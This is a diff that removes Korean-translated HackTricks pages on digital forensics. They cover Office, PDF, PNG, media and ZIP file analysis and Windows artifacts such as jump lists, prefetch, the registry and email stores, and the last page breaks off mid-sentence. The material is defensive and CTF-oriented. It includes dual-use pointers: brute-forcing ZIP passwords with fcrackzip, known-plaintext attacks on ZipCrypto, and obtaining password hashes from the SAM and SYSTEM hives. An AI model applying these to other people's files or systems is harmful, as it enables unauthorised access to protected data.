a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ /dev/null @@ -1,18 +0,0 @@ -# Office file analysis - -{{#include ../../../banners/hacktricks-training.md}} - -자세한 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)를 확인하세요. 이것은 요약입니다: - -Microsoft는 많은 오피스 문서 형식을 만들었으며, 두 가지 주요 유형은 **OLE 형식**(RTF, DOC, XLS, PPT 등)과 **Office Open XML (OOXML) 형식**(DOCX, XLSX, PPTX 등)입니다. 이러한 형식은 매크로를 포함할 수 있어 피싱 및 악성 소프트웨어의 표적이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 파일 및 폴더 계층과 XML 파일 내용을 확인할 수 있습니다. - -OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령과 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 은닉에 대한 지속적인 혁신을 나타냅니다. - -분석을 위해 **oletools**와 **OfficeDissector**는 OLE 및 OOXML 문서를 검사하기 위한 포괄적인 도구 세트를 제공합니다. 이러한 도구는 종종 악성 소프트웨어 배포의 벡터 역할을 하는 임베디드 매크로를 식별하고 분석하는 데 도움을 줍니다. VBA 매크로 분석은 Libre Office를 활용하여 Microsoft Office 없이 수행할 수 있으며, 이는 중단점 및 감시 변수를 사용한 디버깅을 허용합니다. - -**oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령이 제공됩니다. 매크로의 자동 실행은 `AutoOpen`, `AutoExec` 또는 `Document_Open`과 같은 함수에 의해 트리거됩니다. -```bash -sudo pip3 install -U oletools -olevba -c /path/to/document #Extract macros -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md deleted file mode 100644 index 7532af0a9..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ /dev/null @@ -1,20 +0,0 @@ -# PDF 파일 분석 - -{{#include ../../../banners/hacktricks-training.md}} - -**자세한 내용은 다음을 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) - -PDF 형식은 복잡성과 데이터를 숨길 수 있는 잠재력으로 잘 알려져 있어 CTF 포렌식 챌린지의 중심이 됩니다. 이는 일반 텍스트 요소와 압축되거나 암호화될 수 있는 이진 객체를 결합하며, JavaScript나 Flash와 같은 언어로 작성된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [소개 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 텍스트 편집기 또는 Origami와 같은 PDF 전용 편집기를 사용할 수 있습니다. - -PDF를 심층적으로 탐색하거나 조작하기 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내 숨겨진 데이터는 다음과 같은 곳에 숨겨져 있을 수 있습니다: - -- 보이지 않는 레이어 -- Adobe의 XMP 메타데이터 형식 -- 점진적 생성 -- 배경과 같은 색상의 텍스트 -- 이미지 뒤의 텍스트 또는 겹치는 이미지 -- 표시되지 않는 주석 - -맞춤형 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 파싱 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 매우 방대하여, 원래 위치에서 더 이상 호스팅되지 않지만 PDF 위험 및 대응 조치에 대한 NSA 가이드와 같은 자료는 여전히 귀중한 통찰력을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)과 Ange Albertini의 [PDF 형식 트릭 모음](https://github.com/corkami/docs/blob/master/PDF/PDF.md)은 이 주제에 대한 추가 읽기를 제공할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md deleted file mode 100644 index 4c2be7a96..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**PNG 파일**은 **CTF 챌린지**에서 **무손실 압축**으로 인해 높은 평가를 받으며, 숨겨진 데이터를 삽입하는 데 이상적입니다. **Wireshark**와 같은 도구는 네트워크 패킷 내에서 PNG 파일의 데이터를 분해하여 내장된 정보나 이상 현상을 드러내는 분석을 가능하게 합니다. - -PNG 파일의 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 중요한 도구로, PNG 파일을 검증하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정으로는 해결되지 않을 때, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 **손상된 PNG 복구**를 위한 웹 기반 솔루션을 제공하여 CTF 참가자들이 중요한 데이터를 복구하는 데 도움을 줍니다. - -이러한 전략은 CTF에서 숨겨진 데이터나 잃어버린 데이터를 발견하고 복구하기 위해 분석 도구와 복구 기술을 혼합하여 포괄적인 접근 방식의 중요성을 강조합니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md deleted file mode 100644 index d2381f525..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**오디오 및 비디오 파일 조작**은 **CTF 포렌식 챌린지**에서 필수적인 요소로, **스테가노그래피**와 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러냅니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)** 및 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다. - -오디오 챌린지에서는 **[Audacity](http://www.audacityteam.org/)**가 파형을 보고 스펙트로그램을 분석하는 데 있어 주요 도구로 두드러지며, 오디오에 인코딩된 텍스트를 발견하는 데 필수적입니다. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**는 상세한 스펙트로그램 분석을 위해 강력히 추천됩니다. **Audacity**는 숨겨진 메시지를 감지하기 위해 트랙을 느리게 하거나 역재생하는 등의 오디오 조작을 허용합니다. **[Sox](http://sox.sourceforge.net/)**는 오디오 파일을 변환하고 편집하는 데 뛰어난 명령줄 유틸리티입니다. - -**최하위 비트(LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 일반적인 기술로, 미디어 파일의 고정 크기 청크를 이용해 데이터를 은밀하게 삽입합니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤** 또는 **모스 부호**로 숨겨진 메시지를 디코딩하는 데 유용합니다. - -비디오 챌린지는 종종 오디오 및 비디오 스트림을 묶는 컨테이너 형식을 포함합니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 필수적인 도구로, 콘텐츠를 디멀티플렉싱하고 재생할 수 있습니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 FFmpeg의 기능을 Python에 통합하여 고급 스크립트 상호작용을 가능하게 합니다. - -이 도구들의 배열은 CTF 챌린지에서 요구되는 다재다능함을 강조하며, 참가자들은 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견하기 위해 광범위한 분석 및 조작 기술을 사용해야 합니다. - -## References - -- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md deleted file mode 100644 index 8fe869180..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ /dev/null @@ -1,21 +0,0 @@ -# ZIPs tricks - -{{#include ../../../banners/hacktricks-training.md}} - -**명령줄 도구**는 **zip 파일**을 관리하는 데 필수적이며, zip 파일을 진단하고, 복구하고, 크랙하는 데 사용됩니다. 다음은 몇 가지 주요 유틸리티입니다: - -- **`unzip`**: zip 파일이 압축 해제되지 않는 이유를 밝힙니다. -- **`zipdetails -v`**: zip 파일 형식 필드에 대한 자세한 분석을 제공합니다. -- **`zipinfo`**: zip 파일의 내용을 추출하지 않고 나열합니다. -- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 zip 파일을 복구하려고 시도합니다. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip 비밀번호의 무차별 대입 크랙을 위한 도구로, 약 7자까지의 비밀번호에 효과적입니다. - -[Zip 파일 형식 사양](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)은 zip 파일의 구조와 표준에 대한 포괄적인 세부 정보를 제공합니다. - -비밀번호로 보호된 zip 파일은 **파일 이름이나 파일 크기를 암호화하지 않**는다는 점을 주목하는 것이 중요합니다. 이는 RAR 또는 7z 파일과 공유되지 않는 보안 결함입니다. 또한, 구식 ZipCrypto 방법으로 암호화된 zip 파일은 압축된 파일의 암호화되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 내용을 활용하여 zip의 비밀번호를 크랙하며, 이는 [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)와 [이 학술 논문](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)에서 자세히 설명되어 있습니다. 그러나 **AES-256** 암호화로 보호된 zip 파일은 이 평문 공격에 면역이 있으며, 민감한 데이터에 대한 안전한 암호화 방법 선택의 중요성을 보여줍니다. - -## References - -- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md deleted file mode 100644 index 93ac50deb..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ /dev/null @@ -1,497 +0,0 @@ -# Windows Artifacts - -## Windows Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - - -## Generic Windows Artifacts - -### Windows 10 Notifications - -경로 `\Users\\AppData\Local\Microsoft\Windows\Notifications`에서 데이터베이스 `appdb.dat` (Windows 기념일 이전) 또는 `wpndatabase.db` (Windows 기념일 이후)를 찾을 수 있습니다. - -이 SQLite 데이터베이스 안에는 흥미로운 데이터를 포함할 수 있는 모든 알림이 있는 `Notification` 테이블이 있습니다 (XML 형식). - -### Timeline - -Timeline은 방문한 웹 페이지, 편집된 문서 및 실행된 애플리케이션의 **연대기적 기록**을 제공하는 Windows의 특징입니다. - -데이터베이스는 경로 `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 도구 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)로 열 수 있으며, **이 도구는** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **로 열 수 있는 2개의 파일을 생성합니다.** - -### ADS (Alternate Data Streams) - -다운로드된 파일은 **ADS Zone.Identifier**를 포함할 수 있으며, 이는 **어떻게** 인트라넷, 인터넷 등에서 **다운로드되었는지** 나타냅니다. 일부 소프트웨어(예: 브라우저)는 파일이 다운로드된 **URL**과 같은 **더 많은** **정보**를 추가하는 경우가 많습니다. - -## **File Backups** - -### Recycle Bin - -Vista/Win7/Win8/Win10에서 **Recycle Bin**은 드라이브의 루트에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다 (`C:\$Recycle.bin`).\ -이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다: - -- `$I{id}`: 파일 정보 (삭제된 날짜) -- `$R{id}`: 파일의 내용 - -![](<../../../images/image (486).png>) - -이 파일들이 있으면 도구 [**Rifiuti**](https://github.com/abelcheung/rifiuti2)를 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있습니다 (Vista – Win10의 경우 `rifiuti-vista.exe` 사용). -``` -.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle -``` -![](<../../../images/image (495) (1) (1) (1).png>) - -### 볼륨 섀도 복사본 - -섀도 복사는 Microsoft Windows에 포함된 기술로, 컴퓨터 파일이나 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있습니다. 사용 중일 때도 가능합니다. - -이 백업은 일반적으로 파일 시스템의 루트에 있는 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다: - -![](<../../../images/image (520).png>) - -**ArsenalImageMounter**로 포렌식 이미지를 마운트하면, 도구 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)를 사용하여 섀도 복사를 검사하고 섀도 복사 백업에서 **파일을 추출**할 수 있습니다. - -![](<../../../images/image (521).png>) - -레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`는 **백업하지 않을** 파일과 키를 포함합니다: - -![](<../../../images/image (522).png>) - -레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`는 `볼륨 섀도 복사본`에 대한 구성 정보도 포함합니다. - -### 오피스 자동 저장 파일 - -오피스 자동 저장 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` - -## 셸 항목 - -셸 항목은 다른 파일에 접근하는 방법에 대한 정보를 포함하는 항목입니다. - -### 최근 문서 (LNK) - -Windows는 사용자가 다음 위치에서 **파일을 열거나, 사용하거나, 생성할 때** 이러한 **바로 가기**를 **자동으로 생성**합니다: - -- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` - -폴더가 생성되면, 해당 폴더, 상위 폴더 및 조상 폴더에 대한 링크도 생성됩니다. - -이 자동 생성된 링크 파일은 **원본에 대한 정보**를 **포함**합니다. 예를 들어, **파일**인지 **폴더**인지, 해당 파일의 **MAC** **시간**, 파일이 저장된 **볼륨 정보**, **대상 파일의 폴더** 등이 있습니다. 이 정보는 파일이 삭제된 경우 복구하는 데 유용할 수 있습니다. - -또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된** **시간**이며, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된** **시간**입니다. - -이 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다. - -이 도구에서는 **2세트**의 타임스탬프를 찾을 수 있습니다: - -- **첫 번째 세트:** -1. FileModifiedDate -2. FileAccessDate -3. FileCreationDate -- **두 번째 세트:** -1. LinkModifiedDate -2. LinkAccessDate -3. LinkCreationDate. - -첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조합니다. 두 번째 세트는 **링크된 파일의 타임스탬프**를 참조합니다. - -Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를 실행하여 동일한 정보를 얻을 수 있습니다. -``` -LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs -``` -이 경우, 정보는 CSV 파일에 저장됩니다. - -### 점프 리스트 - -이것은 각 애플리케이션에 대해 표시되는 최근 파일입니다. 각 애플리케이션에서 접근할 수 있는 **애플리케이션에 의해 사용된 최근 파일 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다. - -자동으로 생성된 **점프 리스트**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. 점프 리스트는 `{id}.autmaticDestinations-ms` 형식으로 이름이 지정되며, 초기 ID는 애플리케이션의 ID입니다. - -사용자 정의 점프 리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 파일과 관련하여 **중요한** 일이 발생했기 때문에 애플리케이션에 의해 생성됩니다(아마도 즐겨찾기로 표시됨). - -어떤 점프 리스트의 **생성 시간**은 **파일에 처음 접근한 시간**을 나타내며, **수정 시간은 마지막 접근 시간**을 나타냅니다. - -점프 리스트는 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)를 사용하여 검사할 수 있습니다. - -![](<../../../images/image (474).png>) - -(_JumplistExplorer가 제공하는 타임스탬프는 점프 리스트 파일 자체와 관련이 있음을 유의하세요_) - -### 셸백 - -[**이 링크를 따라가면 셸백에 대해 배울 수 있습니다.**](interesting-windows-registry-keys.md#shellbags) - -## Windows USB 사용 - -USB 장치가 사용되었음을 확인할 수 있는 방법은 다음과 같은 생성 덕분입니다: - -- Windows 최근 폴더 -- Microsoft Office 최근 폴더 -- 점프 리스트 - -일부 LNK 파일은 원래 경로를 가리키는 대신 WPDNSE 폴더를 가리킵니다: - -![](<../../../images/image (476).png>) - -WPDNSE 폴더의 파일은 원본 파일의 복사본이므로 PC를 재시작하면 살아남지 않으며 GUID는 셸백에서 가져옵니다. - -### 레지스트리 정보 - -[이 페이지를 확인하여](interesting-windows-registry-keys.md#usb-information) USB 연결 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키를 배울 수 있습니다. - -### setupapi - -USB 연결이 발생한 시간을 알기 위해 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요( `Section start`를 검색하세요). - -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) - -### USB 탐지기 - -[**USBDetective**](https://usbdetective.com)를 사용하여 이미지에 연결된 USB 장치에 대한 정보를 얻을 수 있습니다. - -![](<../../../images/image (483).png>) - -### 플러그 앤 플레이 정리 - -'플러그 앤 플레이 정리'라는 예약 작업은 주로 구식 드라이버 버전을 제거하기 위해 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 지정된 목적과는 달리, 온라인 소스는 30일 동안 비활성 상태인 드라이버도 대상으로 한다고 제안합니다. 따라서 지난 30일 동안 연결되지 않은 이동식 장치의 드라이버는 삭제될 수 있습니다. - -작업은 다음 경로에 위치합니다: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. - -작업의 내용을 보여주는 스크린샷이 제공됩니다: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) - -**작업의 주요 구성 요소 및 설정:** - -- **pnpclean.dll**: 이 DLL은 실제 정리 프로세스를 담당합니다. -- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 있으며, 일반 작업 스케줄링 엔진을 사용함을 나타냅니다. -- **MaintenanceSettings**: -- **Period ('P1M')**: 작업 스케줄러에 정기적인 자동 유지 관리 중 매월 정리 작업을 시작하도록 지시합니다. -- **Deadline ('P2M')**: 작업 스케줄러에 작업이 두 달 연속 실패할 경우 긴급 자동 유지 관리 중 작업을 실행하도록 지시합니다. - -이 구성은 정기적인 유지 관리 및 드라이버 정리를 보장하며, 연속 실패 시 작업을 재시도할 수 있는 조항을 포함합니다. - -**자세한 정보는 다음을 확인하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) - -## 이메일 - -이메일에는 **2개의 흥미로운 부분: 헤더와 이메일 내용**이 포함되어 있습니다. **헤더**에서 다음과 같은 정보를 찾을 수 있습니다: - -- **누가** 이메일을 보냈는지 (이메일 주소, IP, 이메일을 리디렉션한 메일 서버) -- **언제** 이메일이 전송되었는지 - -또한, `References` 및 `In-Reply-To` 헤더 내에서 메시지의 ID를 찾을 수 있습니다: - -![](<../../../images/image (484).png>) - -### Windows 메일 앱 - -이 애플리케이션은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\\AppData\Local\Comms\Unistore\data\3\`의 하위 폴더 내에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다. - -이메일의 **메타데이터**와 **연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -파일의 확장자를 `.vol`에서 `.edb`로 변경하면 도구 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)를 사용하여 열 수 있습니다. `Message` 테이블 내에서 이메일을 볼 수 있습니다. - -### Microsoft Outlook - -Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가 생성됩니다: - -- `Mapi-Client-Submit-Time`: 이메일이 전송된 시스템의 시간 -- `Mapi-Conversation-Index`: 스레드의 자식 메시지 수 및 각 메시지의 타임스탬프 -- `Mapi-Entry-ID`: 메시지 식별자. -- `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답됨? 리디렉션됨? 부재 중?) - -Microsoft Outlook 클라이언트에서는 모든 발신/수신 메시지, 연락처 데이터 및 일정 데이터가 PST 파일에 저장됩니다: - -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -- `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`는 사용 중인 파일을 나타냅니다. - -PST 파일은 도구 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)를 사용하여 열 수 있습니다. - -![](<../../../images/image (485).png>) - -### Microsoft Outlook OST 파일 - -**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버로 구성될 때 생성되며, PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되며, **지난 12개월** 동안의 데이터를 유지하고 **최대 50GB**의 크기를 가지며, PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다. - -### 첨부 파일 복구 - -잃어버린 첨부 파일은 다음에서 복구할 수 있습니다: - -- **IE10**의 경우: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- **IE11 및 그 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` - -### Thunderbird MBOX 파일 - -**Thunderbird**는 **MBOX 파일**을 사용하여 데이터를 저장하며, 위치는 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`입니다. - -### 이미지 썸네일 - -- **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 접근하면 삭제 후에도 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다. -- **Windows 7/10**: UNC 경로를 통해 네트워크에서 접근할 때 `thumbs.db`가 생성됩니다. -- **Windows Vista 및 이후 버전**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 중앙 집중화되어 있으며, 파일 이름은 **thumbcache_xxx.db**입니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보기 위한 도구입니다. - -### Windows 레지스트리 정보 - -Windows 레지스트리는 방대한 시스템 및 사용자 활동 데이터를 저장하며, 다음 파일에 포함되어 있습니다: - -- `%windir%\System32\Config`에서 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대해. -- `%UserProfile%{User}\NTUSER.DAT`에서 `HKEY_CURRENT_USER`에 대해. -- Windows Vista 및 이후 버전은 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다. -- 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후부터 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다. - -### 도구 - -레지스트리 파일을 분석하는 데 유용한 도구가 있습니다: - -- **레지스트리 편집기**: Windows에 설치되어 있습니다. 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있습니다. 흥미로운 정보를 가진 키를 강조하는 북마크도 포함되어 있습니다. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 다시 GUI가 있어 로드된 레지스트리를 탐색할 수 있으며, 로드된 레지스트리 내의 흥미로운 정보를 강조하는 플러그인도 포함되어 있습니다. -- [**Windows 레지스트리 복구**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 애플리케이션입니다. - -### 삭제된 요소 복구 - -키가 삭제되면 그렇게 표시되지만, 그 공간이 필요해질 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하면 이러한 삭제된 키를 복구할 수 있습니다. - -### 마지막 수정 시간 - -각 Key-Value는 마지막으로 수정된 시간을 나타내는 **타임스탬프**를 포함합니다. - -### SAM - -파일/하이브 **SAM**은 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시를 포함합니다. - -`SAM\Domains\Account\Users`에서 사용자 이름, RID, 마지막 로그인, 마지막 실패한 로그온, 로그인 카운터, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 **SYSTEM** 파일/하이브도 **필요**합니다. - -### Windows 레지스트리의 흥미로운 항목 - -{{#ref}} -interesting-windows-registry-keys.md -{{#endref}} - -## 실행된 프로그램 - -### 기본 Windows 프로세스 - -[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서 의심스러운 행동을 감지하기 위한 일반 Windows 프로세스에 대해 배울 수 있습니다. - -### Windows 최근 앱 - -레지스트리 `NTUSER.DAT`의 경로 `Software\Microsoft\Current Version\Search\RecentApps` 내에서 **실행된 애플리케이션**, **마지막 실행 시간**, **실행 횟수**에 대한 정보를 가진 하위 키를 찾을 수 있습니다. - -### BAM (백그라운드 활동 조정기) - -레지스트리 편집기를 사용하여 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 내에서 **각 사용자가 실행한 애플리케이션**에 대한 정보를 찾을 수 있습니다(경로의 `{SID}`에 유의하세요) 및 **언제** 실행되었는지(시간은 레지스트리의 데이터 값 내에 있습니다). - -### Windows 프리패치 - -프리패칭은 컴퓨터가 사용자가 **가까운 미래에 접근할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술입니다. 이를 통해 리소스에 더 빠르게 접근할 수 있습니다. - -Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 경로 `C:\Windows\Prefetch` 내에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있으며, Win8/Win10에서는 1024개의 파일 제한이 있습니다. - -파일 이름은 `{program_name}-{hash}.pf` 형식으로 생성됩니다(해시는 실행 파일의 경로와 인수에 기반합니다). W10에서는 이러한 파일이 압축됩니다. 파일의 존재만으로도 **프로그램이 실행되었음을** 나타냅니다. - -파일 `C:\Windows\Prefetch\Layout.ini`는 **프리패치된 파일의 폴더 이름**을 포함합니다. 이 파일은 **실행 횟수**, **실행 날짜** 및 **프로그램에 의해 열린 파일**에 대한 정보를 포함합니다. - -이 파일을 검사하려면 도구 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)를 사용할 수 있습니다: -```bash -.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" -``` -![](<../../../images/image (487).png>) - -### Superprefetch - -**Superprefetch**는 **다음에 로드될 프로그램**을 예측하여 **프로그램을 더 빠르게 로드**하는 것과 같은 목표를 가지고 있습니다. 그러나, 이는 prefetch 서비스를 대체하지 않습니다.\ -이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다. - -이 데이터베이스에서는 **프로그램**의 **이름**, **실행** **횟수**, **열린** **파일**, **액세스된** **볼륨**, **전체** **경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다. - -이 정보를 사용하여 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 도구에 접근할 수 있습니다. - -### SRUM - -**System Resource Usage Monitor** (SRUM) **는** **프로세스**에 의해 **소비된** **자원**을 **모니터링**합니다. W8에서 등장했으며, `C:\Windows\System32\sru\SRUDB.dat`에 ESE 데이터베이스에 데이터를 저장합니다. - -다음과 같은 정보를 제공합니다: - -- AppID 및 경로 -- 프로세스를 실행한 사용자 -- 전송된 바이트 -- 수신된 바이트 -- 네트워크 인터페이스 -- 연결 지속 시간 -- 프로세스 지속 시간 - -이 정보는 매 60분마다 